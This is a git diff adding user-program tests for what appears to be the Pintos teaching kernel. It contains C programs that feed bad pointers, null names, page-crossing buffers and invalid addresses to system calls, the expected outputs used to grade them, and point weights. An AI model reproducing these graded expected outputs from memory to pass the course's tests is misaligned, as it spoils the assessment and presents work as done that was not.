+2 multi-child-fd
+
+- Test robustness of pointer handling.
+3 create-bad-ptr
+3 exec-bad-ptr
+3 open-bad-ptr
+3 read-bad-ptr
+3 write-bad-ptr
+
+- Test robustness of buffer copying across page boundaries.
+3 create-bound
+3 open-boundary
+3 read-boundary
+3 write-boundary
+
+- Test handling of null pointer and empty strings.
+2 create-null
+2 open-null
+2 open-empty
+
+- Test robustness of system call implementation.
+3 sc-bad-arg
+3 sc-bad-sp
+5 sc-boundary
+5 sc-boundary-2
+
+- Test robustness of "exec" and "wait" system calls.
+5 exec-missing
+5 wait-bad-pid
+5 wait-killed
+
+- Test robustness of exception handling.
+1 bad-read
+1 bad-write
+1 bad-jump
+1 bad-read2
+1 bad-write2
+1 bad-jump2
diff --git a/src/tests/userprog/args-dbl-space.ck b/src/tests/userprog/args-dbl-space.ck
new file mode 100644
index 0000000..dfbcf4b
--- /dev/null
+++ b/src/tests/userprog/args-dbl-space.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(args) begin
+(args) argc = 3
+(args) argv[0] = 'args-dbl-space'
+(args) argv[1] = 'two'
+(args) argv[2] = 'spaces!'
+(args) argv[3] = null
+(args) end
+args-dbl-space: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/args-many.ck b/src/tests/userprog/args-many.ck
new file mode 100644
index 0000000..214574a
--- /dev/null
+++ b/src/tests/userprog/args-many.ck
@@ -0,0 +1,35 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(args) begin
+(args) argc = 23
+(args) argv[0] = 'args-many'
+(args) argv[1] = 'a'
+(args) argv[2] = 'b'
+(args) argv[3] = 'c'
+(args) argv[4] = 'd'
+(args) argv[5] = 'e'
+(args) argv[6] = 'f'
+(args) argv[7] = 'g'
+(args) argv[8] = 'h'
+(args) argv[9] = 'i'
+(args) argv[10] = 'j'
+(args) argv[11] = 'k'
+(args) argv[12] = 'l'
+(args) argv[13] = 'm'
+(args) argv[14] = 'n'
+(args) argv[15] = 'o'
+(args) argv[16] = 'p'
+(args) argv[17] = 'q'
+(args) argv[18] = 'r'
+(args) argv[19] = 's'
+(args) argv[20] = 't'
+(args) argv[21] = 'u'
+(args) argv[22] = 'v'
+(args) argv[23] = null
+(args) end
+args-many: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/args-multiple.ck b/src/tests/userprog/args-multiple.ck
new file mode 100644
index 0000000..227e6cc
--- /dev/null
+++ b/src/tests/userprog/args-multiple.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(args) begin
+(args) argc = 5
+(args) argv[0] = 'args-multiple'
+(args) argv[1] = 'some'
+(args) argv[2] = 'arguments'
+(args) argv[3] = 'for'
+(args) argv[4] = 'you!'
+(args) argv[5] = null
+(args) end
+args-multiple: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/args-none.ck b/src/tests/userprog/args-none.ck
new file mode 100644
index 0000000..146318e
--- /dev/null
+++ b/src/tests/userprog/args-none.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(args) begin
+(args) argc = 1
+(args) argv[0] = 'args-none'
+(args) argv[1] = null
+(args) end
+args-none: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/args-single.ck b/src/tests/userprog/args-single.ck
new file mode 100644
index 0000000..24582b4
--- /dev/null
+++ b/src/tests/userprog/args-single.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(args) begin
+(args) argc = 2
+(args) argv[0] = 'args-single'
+(args) argv[1] = 'onearg'
+(args) argv[2] = null
+(args) end
+args-single: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/args.c b/src/tests/userprog/args.c
new file mode 100644
index 0000000..20eda44
--- /dev/null
+++ b/src/tests/userprog/args.c
@@ -0,0 +1,25 @@
+/* Prints the command-line arguments.
+ This program is used for all of the args-* tests. Grading is
+ done differently for each of the args-* tests based on the
+ output. */
+
+#include "tests/lib.h"
+
+int
+main (int argc, char *argv[])
+{
+ int i;
+
+ test_name = "args";
+
+ msg ("begin");
+ msg ("argc = %d", argc);
+ for (i = 0; i <= argc; i++)
+ if (argv[i] != NULL)
+ msg ("argv[%d] = '%s'", i, argv[i]);
+ else
+ msg ("argv[%d] = null", i);
+ msg ("end");
+
+ return 0;
+}
diff --git a/src/tests/userprog/bad-jump.c b/src/tests/userprog/bad-jump.c
new file mode 100644
index 0000000..51b7c9f
--- /dev/null
+++ b/src/tests/userprog/bad-jump.c
@@ -0,0 +1,13 @@
+/* This program attempts to execute code at address 0, which is not mapped.
+ This should terminate the process with a -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("Congratulations - you have successfully called NULL: %d",
+ ((int (*)(void))NULL)());
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/bad-jump.ck b/src/tests/userprog/bad-jump.ck
new file mode 100644
index 0000000..e1c178b
--- /dev/null
+++ b/src/tests/userprog/bad-jump.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, [<<'EOF']);
+(bad-jump) begin
+bad-jump: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/bad-jump2.c b/src/tests/userprog/bad-jump2.c
new file mode 100644
index 0000000..dc7c2a7
--- /dev/null
+++ b/src/tests/userprog/bad-jump2.c
@@ -0,0 +1,13 @@
+/* This program attempts to execute code at a kernel virtual address.
+ This should terminate the process with a -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("Congratulations - you have successfully called kernel code: %d",
+ ((int (*)(void))0xC0000000)());
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/bad-jump2.ck b/src/tests/userprog/bad-jump2.ck
new file mode 100644
index 0000000..35f0f97
--- /dev/null
+++ b/src/tests/userprog/bad-jump2.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, [<<'EOF']);
+(bad-jump2) begin
+bad-jump2: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/bad-read.c b/src/tests/userprog/bad-read.c
new file mode 100644
index 0000000..904c278
--- /dev/null
+++ b/src/tests/userprog/bad-read.c
@@ -0,0 +1,13 @@
+/* This program attempts to read memory at an address that is not mapped.
+ This should terminate the process with a -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("Congratulations - you have successfully dereferenced NULL: %d",
+ *(int *)NULL);
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/bad-read.ck b/src/tests/userprog/bad-read.ck
new file mode 100644
index 0000000..4d4d926
--- /dev/null
+++ b/src/tests/userprog/bad-read.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, [<<'EOF']);
+(bad-read) begin
+bad-read: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/bad-read2.c b/src/tests/userprog/bad-read2.c
new file mode 100644
index 0000000..a2fc237
--- /dev/null
+++ b/src/tests/userprog/bad-read2.c
@@ -0,0 +1,13 @@
+/* This program attempts to read kernel memory.
+ This should terminate the process with a -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("Congratulations - you have successfully read kernel memory: %d",
+ *(int *)0xC0000000);
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/bad-read2.ck b/src/tests/userprog/bad-read2.ck
new file mode 100644
index 0000000..fa27c7d
--- /dev/null
+++ b/src/tests/userprog/bad-read2.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, [<<'EOF']);
+(bad-read2) begin
+bad-read2: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/bad-write.c b/src/tests/userprog/bad-write.c
new file mode 100644
index 0000000..000c26b
--- /dev/null
+++ b/src/tests/userprog/bad-write.c
@@ -0,0 +1,12 @@
+/* This program attempts to write to memory at an address that is not mapped.
+ This should terminate the process with a -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ *(int *)NULL = 42;
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/bad-write.ck b/src/tests/userprog/bad-write.ck
new file mode 100644
index 0000000..d213b49
--- /dev/null
+++ b/src/tests/userprog/bad-write.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, [<<'EOF']);
+(bad-write) begin
+bad-write: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/bad-write2.c b/src/tests/userprog/bad-write2.c
new file mode 100644
index 0000000..753da1e
--- /dev/null
+++ b/src/tests/userprog/bad-write2.c
@@ -0,0 +1,12 @@
+/* This program attempts to write to kernel memory.
+ This should terminate the process with a -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ *(int *)0xC0000000 = 42;
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/bad-write2.ck b/src/tests/userprog/bad-write2.ck
new file mode 100644
index 0000000..c6a3420
--- /dev/null
+++ b/src/tests/userprog/bad-write2.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, [<<'EOF']);
+(bad-write2) begin
+bad-write2: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/boundary.c b/src/tests/userprog/boundary.c
new file mode 100644
index 0000000..59907ec
--- /dev/null
+++ b/src/tests/userprog/boundary.c
@@ -0,0 +1,33 @@
+/* Utility function for tests that try to break system calls by
+ passing them data that crosses from one virtual page to
+ another. */
+
+#include <inttypes.h>
+#include <round.h>
+#include <string.h>
+#include "tests/userprog/boundary.h"
+
+static char dst[8192];
+
+/* Returns the beginning of a page. There are at least 2048
+ modifiable bytes on either side of the pointer returned. */
+void *
+get_boundary_area (void)
+{
+ char *p = (char *) ROUND_UP ((uintptr_t) dst, 4096);
+ if (p - dst < 2048)
+ p += 4096;
+ return p;
+}
+
+/* Returns a copy of SRC split across the boundary between two
+ pages. */
+char *
+copy_string_across_boundary (const char *src)
+{
+ char *p = get_boundary_area ();
+ p -= strlen (src) < 4096 ? strlen (src) / 2 : 4096;
+ strlcpy (p, src, 4096);
+ return p;
+}
+
diff --git a/src/tests/userprog/boundary.h b/src/tests/userprog/boundary.h
new file mode 100644
index 0000000..c8e4b3b
--- /dev/null
+++ b/src/tests/userprog/boundary.h
@@ -0,0 +1,7 @@
+#ifndef TESTS_USERPROG_BOUNDARY_H
+#define TESTS_USERPROG_BOUNDARY_H
+
+void *get_boundary_area (void);
+char *copy_string_across_boundary (const char *);
+
+#endif /* tests/userprog/boundary.h */
diff --git a/src/tests/userprog/child-bad.c b/src/tests/userprog/child-bad.c
new file mode 100644
index 0000000..77d7a69
--- /dev/null
+++ b/src/tests/userprog/child-bad.c
@@ -0,0 +1,14 @@
+/* Child process run by wait-killed test.
+ Sets the stack pointer (%esp) to an invalid value and invokes
+ a system call, which should then terminate the process with a
+ -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ asm volatile ("movl $0x20101234, %esp; int $0x30");
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/child-close.c b/src/tests/userprog/child-close.c
new file mode 100644
index 0000000..ac948c8
--- /dev/null
+++ b/src/tests/userprog/child-close.c
@@ -0,0 +1,28 @@
+/* Child process run by multi-child-fd test.
+
+ Attempts to close the file descriptor passed as the first
+ command-line argument. This is invalid, because file
+ descriptors are not inherited in Pintos. Two results are
+ allowed: either the system call should return without taking
+ any action, or the kernel should terminate the process with a
+ -1 exit code. */
+
+#include <ctype.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <syscall.h>
+#include "tests/lib.h"
+
+const char *test_name = "child-close";
+
+int
+main (int argc UNUSED, char *argv[])
+{
+ msg ("begin");
+ if (!isdigit (*argv[1]))
+ fail ("bad command-line arguments");
+ close (atoi (argv[1]));
+ msg ("end");
+
+ return 0;
+}
diff --git a/src/tests/userprog/child-rox.c b/src/tests/userprog/child-rox.c
new file mode 100644
index 0000000..aba808b
--- /dev/null
+++ b/src/tests/userprog/child-rox.c
@@ -0,0 +1,55 @@
+/* Child process run by rox-child and rox-multichild tests.
+ Opens and tries to write to its own executable, verifying that
+ that is disallowed.
+ Then recursively executes itself to the depth indicated by the
+ first command-line argument. */
+
+#include <ctype.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <syscall.h>
+#include "tests/lib.h"
+
+const char *test_name = "child-rox";
+
+static void
+try_write (void)
+{
+ int handle;
+ char buffer[19];
+
+ quiet = true;
+ CHECK ((handle = open ("child-rox")) > 1, "open \"child-rox\"");
+ quiet = false;
+
+ CHECK (write (handle, buffer, sizeof buffer) == 0,
+ "try to write \"child-rox\"");
+
+ close (handle);
+}
+
+int
+main (int argc UNUSED, char *argv[])
+{
+ msg ("begin");
+ try_write ();
+
+ if (!isdigit (*argv[1]))
+ fail ("bad command-line arguments");
+ if (atoi (argv[1]) > 1)
+ {
+ char cmd[128];
+ int child;
+
+ snprintf (cmd, sizeof cmd, "child-rox %d", atoi (argv[1]) - 1);
+ CHECK ((child = exec (cmd)) != -1, "exec \"%s\"", cmd);
+ quiet = true;
+ CHECK (wait (child) == 12, "wait for \"child-rox\"");
+ quiet = false;
+ }
+
+ try_write ();
+ msg ("end");
+
+ return 12;
+}
diff --git a/src/tests/userprog/child-simple.c b/src/tests/userprog/child-simple.c
new file mode 100644
index 0000000..0d2dacf
--- /dev/null
+++ b/src/tests/userprog/child-simple.c
@@ -0,0 +1,15 @@
+/* Child process run by exec-multiple, exec-one, wait-simple, and
+ wait-twice tests.
+ Just prints a single message and terminates. */
+
+#include <stdio.h>
+#include "tests/lib.h"
+
+const char *test_name = "child-simple";
+
+int
+main (void)
+{
+ msg ("run");
+ return 81;
+}
diff --git a/src/tests/userprog/close-bad-fd.c b/src/tests/userprog/close-bad-fd.c
new file mode 100644
index 0000000..f63bb9a
--- /dev/null
+++ b/src/tests/userprog/close-bad-fd.c
@@ -0,0 +1,11 @@
+/* Tries to close an invalid fd, which must either fail silently
+ or terminate with exit code -1. */
+
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ close (0x20101234);
+}
diff --git a/src/tests/userprog/close-bad-fd.ck b/src/tests/userprog/close-bad-fd.ck
new file mode 100644
index 0000000..497b17c
--- /dev/null
+++ b/src/tests/userprog/close-bad-fd.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(close-bad-fd) begin
+(close-bad-fd) end
+close-bad-fd: exit(0)
+EOF
+(close-bad-fd) begin
+close-bad-fd: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/close-normal.c b/src/tests/userprog/close-normal.c
new file mode 100644
index 0000000..8ce04e3
--- /dev/null
+++ b/src/tests/userprog/close-normal.c
@@ -0,0 +1,14 @@
+/* Opens a file and then closes it. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ msg ("close \"sample.txt\"");
+ close (handle);
+}
diff --git a/src/tests/userprog/close-normal.ck b/src/tests/userprog/close-normal.ck
new file mode 100644
index 0000000..fe41342
--- /dev/null
+++ b/src/tests/userprog/close-normal.ck
@@ -0,0 +1,12 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(close-normal) begin
+(close-normal) open "sample.txt"
+(close-normal) close "sample.txt"
+(close-normal) end
+close-normal: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/close-stdin.c b/src/tests/userprog/close-stdin.c
new file mode 100644
index 0000000..9bbf9f2
--- /dev/null
+++ b/src/tests/userprog/close-stdin.c
@@ -0,0 +1,11 @@
+/* Tries to close the keyboard input stream, which must either
+ fail silently or terminate with exit code -1. */
+
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ close (0);
+}
diff --git a/src/tests/userprog/close-stdin.ck b/src/tests/userprog/close-stdin.ck
new file mode 100644
index 0000000..3d28507
--- /dev/null
+++ b/src/tests/userprog/close-stdin.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(close-stdin) begin
+(close-stdin) end
+close-stdin: exit(0)
+EOF
+(close-stdin) begin
+close-stdin: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/close-stdout.c b/src/tests/userprog/close-stdout.c
new file mode 100644
index 0000000..886523f
--- /dev/null
+++ b/src/tests/userprog/close-stdout.c
@@ -0,0 +1,11 @@
+/* Tries to close the console output stream, which must either
+ fail silently or terminate with exit code -1. */
+
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ close (1);
+}
diff --git a/src/tests/userprog/close-stdout.ck b/src/tests/userprog/close-stdout.ck
new file mode 100644
index 0000000..3cbbcff
--- /dev/null
+++ b/src/tests/userprog/close-stdout.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(close-stdout) begin
+(close-stdout) end
+close-stdout: exit(0)
+EOF
+(close-stdout) begin
+close-stdout: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/close-twice.c b/src/tests/userprog/close-twice.c
new file mode 100644
index 0000000..830bccf
--- /dev/null
+++ b/src/tests/userprog/close-twice.c
@@ -0,0 +1,18 @@
+/* Opens a file and then tries to close it twice. The second
+ close must either fail silently or terminate with exit code
+ -1. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ msg ("close \"sample.txt\"");
+ close (handle);
+ msg ("close \"sample.txt\" again");
+ close (handle);
+}
diff --git a/src/tests/userprog/close-twice.ck b/src/tests/userprog/close-twice.ck
new file mode 100644
index 0000000..deb55a6
--- /dev/null
+++ b/src/tests/userprog/close-twice.ck
@@ -0,0 +1,19 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(close-twice) begin
+(close-twice) open "sample.txt"
+(close-twice) close "sample.txt"
+(close-twice) close "sample.txt" again
+(close-twice) end
+close-twice: exit(0)
+EOF
+(close-twice) begin
+(close-twice) open "sample.txt"
+(close-twice) close "sample.txt"
+(close-twice) close "sample.txt" again
+close-twice: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/create-bad-ptr.c b/src/tests/userprog/create-bad-ptr.c
new file mode 100644
index 0000000..4a07bb3
--- /dev/null
+++ b/src/tests/userprog/create-bad-ptr.c
@@ -0,0 +1,12 @@
+/* Passes a bad pointer to the create system call,
+ which must cause the process to be terminated with exit code
+ -1. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("create(0x20101234): %d", create ((char *) 0x20101234, 0));
+}
diff --git a/src/tests/userprog/create-bad-ptr.ck b/src/tests/userprog/create-bad-ptr.ck
new file mode 100644
index 0000000..ac13405
--- /dev/null
+++ b/src/tests/userprog/create-bad-ptr.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(create-bad-ptr) begin
+create-bad-ptr: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/create-bound.c b/src/tests/userprog/create-bound.c
new file mode 100644
index 0000000..0a829f3
--- /dev/null
+++ b/src/tests/userprog/create-bound.c
@@ -0,0 +1,14 @@
+/* Opens a file whose name spans the boundary between two pages.
+ This is valid, so it must succeed. */
+
+#include <syscall.h>
+#include "tests/userprog/boundary.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("create(\"quux.dat\"): %d",
+ create (copy_string_across_boundary ("quux.dat"), 0));
+}
diff --git a/src/tests/userprog/create-bound.ck b/src/tests/userprog/create-bound.ck
new file mode 100644
index 0000000..7656b7f
--- /dev/null
+++ b/src/tests/userprog/create-bound.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(create-bound) begin
+(create-bound) create("quux.dat"): 1
+(create-bound) end
+create-bound: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/create-empty.c b/src/tests/userprog/create-empty.c
new file mode 100644
index 0000000..fa26b43
--- /dev/null
+++ b/src/tests/userprog/create-empty.c
@@ -0,0 +1,10 @@
+/* Tries to create a file with the empty string as its name. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("create(\"\"): %d", create ("", 0));
+}
diff --git a/src/tests/userprog/create-empty.ck b/src/tests/userprog/create-empty.ck
new file mode 100644
index 0000000..93a1058
--- /dev/null
+++ b/src/tests/userprog/create-empty.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(create-empty) begin
+(create-empty) create(""): 0
+(create-empty) end
+create-empty: exit(0)
+EOF
+(create-empty) begin
+create-empty: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/create-exists.c b/src/tests/userprog/create-exists.c
new file mode 100644
index 0000000..d395008
--- /dev/null
+++ b/src/tests/userprog/create-exists.c
@@ -0,0 +1,16 @@
+/* Verifies that trying to create a file under a name that
+ already exists will fail. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (create ("quux.dat", 0), "create quux.dat");
+ CHECK (create ("warble.dat", 0), "create warble.dat");
+ CHECK (!create ("quux.dat", 0), "try to re-create quux.dat");
+ CHECK (create ("baffle.dat", 0), "create baffle.dat");
+ CHECK (!create ("warble.dat", 0), "try to re-create quux.dat");
+}
diff --git a/src/tests/userprog/create-exists.ck b/src/tests/userprog/create-exists.ck
new file mode 100644
index 0000000..006885e
--- /dev/null
+++ b/src/tests/userprog/create-exists.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(create-exists) begin
+(create-exists) create quux.dat
+(create-exists) create warble.dat
+(create-exists) try to re-create quux.dat
+(create-exists) create baffle.dat
+(create-exists) try to re-create quux.dat
+(create-exists) end
+create-exists: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/create-long.c b/src/tests/userprog/create-long.c
new file mode 100644
index 0000000..16b31bd
--- /dev/null
+++ b/src/tests/userprog/create-long.c
@@ -0,0 +1,17 @@
+/* Tries to create a file with a name that is much too long,
+ which must fail. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ static char name[512];
+ memset (name, 'x', sizeof name);
+ name[sizeof name - 1] = '\0';
+
+ msg ("create(\"x...\"): %d", create (name, 0));
+}
diff --git a/src/tests/userprog/create-long.ck b/src/tests/userprog/create-long.ck
new file mode 100644
index 0000000..628411c
--- /dev/null
+++ b/src/tests/userprog/create-long.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(create-long) begin
+(create-long) create("x..."): 0
+(create-long) end
+create-long: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/create-normal.c b/src/tests/userprog/create-normal.c
new file mode 100644
index 0000000..3cbc463
--- /dev/null
+++ b/src/tests/userprog/create-normal.c
@@ -0,0 +1,10 @@
+/* Creates an ordinary empty file. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (create ("quux.dat", 0), "create quux.dat");
+}
diff --git a/src/tests/userprog/create-normal.ck b/src/tests/userprog/create-normal.ck
new file mode 100644
index 0000000..ca74a6e
--- /dev/null
+++ b/src/tests/userprog/create-normal.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(create-normal) begin
+(create-normal) create quux.dat
+(create-normal) end
+create-normal: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/create-null.c b/src/tests/userprog/create-null.c
new file mode 100644
index 0000000..287cb23
--- /dev/null
+++ b/src/tests/userprog/create-null.c
@@ -0,0 +1,11 @@
+/* Tries to create a file with the null pointer as its name.
+ The process must be terminated with exit code -1. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("create(NULL): %d", create (NULL, 0));
+}
diff --git a/src/tests/userprog/create-null.ck b/src/tests/userprog/create-null.ck
new file mode 100644
index 0000000..09b7872
--- /dev/null
+++ b/src/tests/userprog/create-null.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(create-null) begin
+create-null: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/exec-arg.c b/src/tests/userprog/exec-arg.c
new file mode 100644
index 0000000..82d0744
--- /dev/null
+++ b/src/tests/userprog/exec-arg.c
@@ -0,0 +1,10 @@
+/* Tests argument passing to child processes. */
+
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ wait (exec ("child-args childarg"));
+}
diff --git a/src/tests/userprog/exec-arg.ck b/src/tests/userprog/exec-arg.ck
new file mode 100644
index 0000000..b7533ed
--- /dev/null
+++ b/src/tests/userprog/exec-arg.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(exec-arg) begin
+(args) begin
+(args) argc = 2
+(args) argv[0] = 'child-args'
+(args) argv[1] = 'childarg'
+(args) argv[2] = null
+(args) end
+child-args: exit(0)
+(exec-arg) end
+exec-arg: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/exec-bad-ptr.c b/src/tests/userprog/exec-bad-ptr.c
new file mode 100644
index 0000000..0abadd3
--- /dev/null
+++ b/src/tests/userprog/exec-bad-ptr.c
@@ -0,0 +1,11 @@
+/* Passes an invalid pointer to the exec system call.
+ The process must be terminated with -1 exit code. */
+
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ exec ((char *) 0x20101234);
+}
diff --git a/src/tests/userprog/exec-bad-ptr.ck b/src/tests/userprog/exec-bad-ptr.ck
new file mode 100644
index 0000000..63f5f78
--- /dev/null
+++ b/src/tests/userprog/exec-bad-ptr.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(exec-bad-ptr) begin
+(exec-bad-ptr) end
+exec-bad-ptr: exit(0)
+EOF
+(exec-bad-ptr) begin
+exec-bad-ptr: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/exec-missing.c b/src/tests/userprog/exec-missing.c
new file mode 100644
index 0000000..bf08cad
--- /dev/null
+++ b/src/tests/userprog/exec-missing.c
@@ -0,0 +1,12 @@
+/* Tries to execute a nonexistent process.
+ The exec system call must return -1. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("exec(\"no-such-file\"): %d", exec ("no-such-file"));
+}
diff --git a/src/tests/userprog/exec-missing.ck b/src/tests/userprog/exec-missing.ck
new file mode 100644
index 0000000..0ef7aaa
--- /dev/null
+++ b/src/tests/userprog/exec-missing.ck
@@ -0,0 +1,31 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF', <<'EOF', <<'EOF']);
+(exec-missing) begin
+load: no-such-file: open failed
+(exec-missing) exec("no-such-file"): -1
+(exec-missing) end
+exec-missing: exit(0)
+EOF
+(exec-missing) begin
+(exec-missing) exec("no-such-file"): -1
+(exec-missing) end
+exec-missing: exit(0)
+EOF
+(exec-missing) begin
+load: no-such-file: open failed
+no-such-file: exit(-1)
+(exec-missing) exec("no-such-file"): -1
+(exec-missing) end
+exec-missing: exit(0)
+EOF
+(exec-missing) begin
+load: no-such-file: open failed
+(exec-missing) exec("no-such-file"): -1
+no-such-file: exit(-1)
+(exec-missing) end
+exec-missing: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/exec-multiple.c b/src/tests/userprog/exec-multiple.c
new file mode 100644
index 0000000..ba4c26e
--- /dev/null
+++ b/src/tests/userprog/exec-multiple.c
@@ -0,0 +1,14 @@
+/* Executes and waits for multiple child processes. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ wait (exec ("child-simple"));
+ wait (exec ("child-simple"));
+ wait (exec ("child-simple"));
+ wait (exec ("child-simple"));
+}
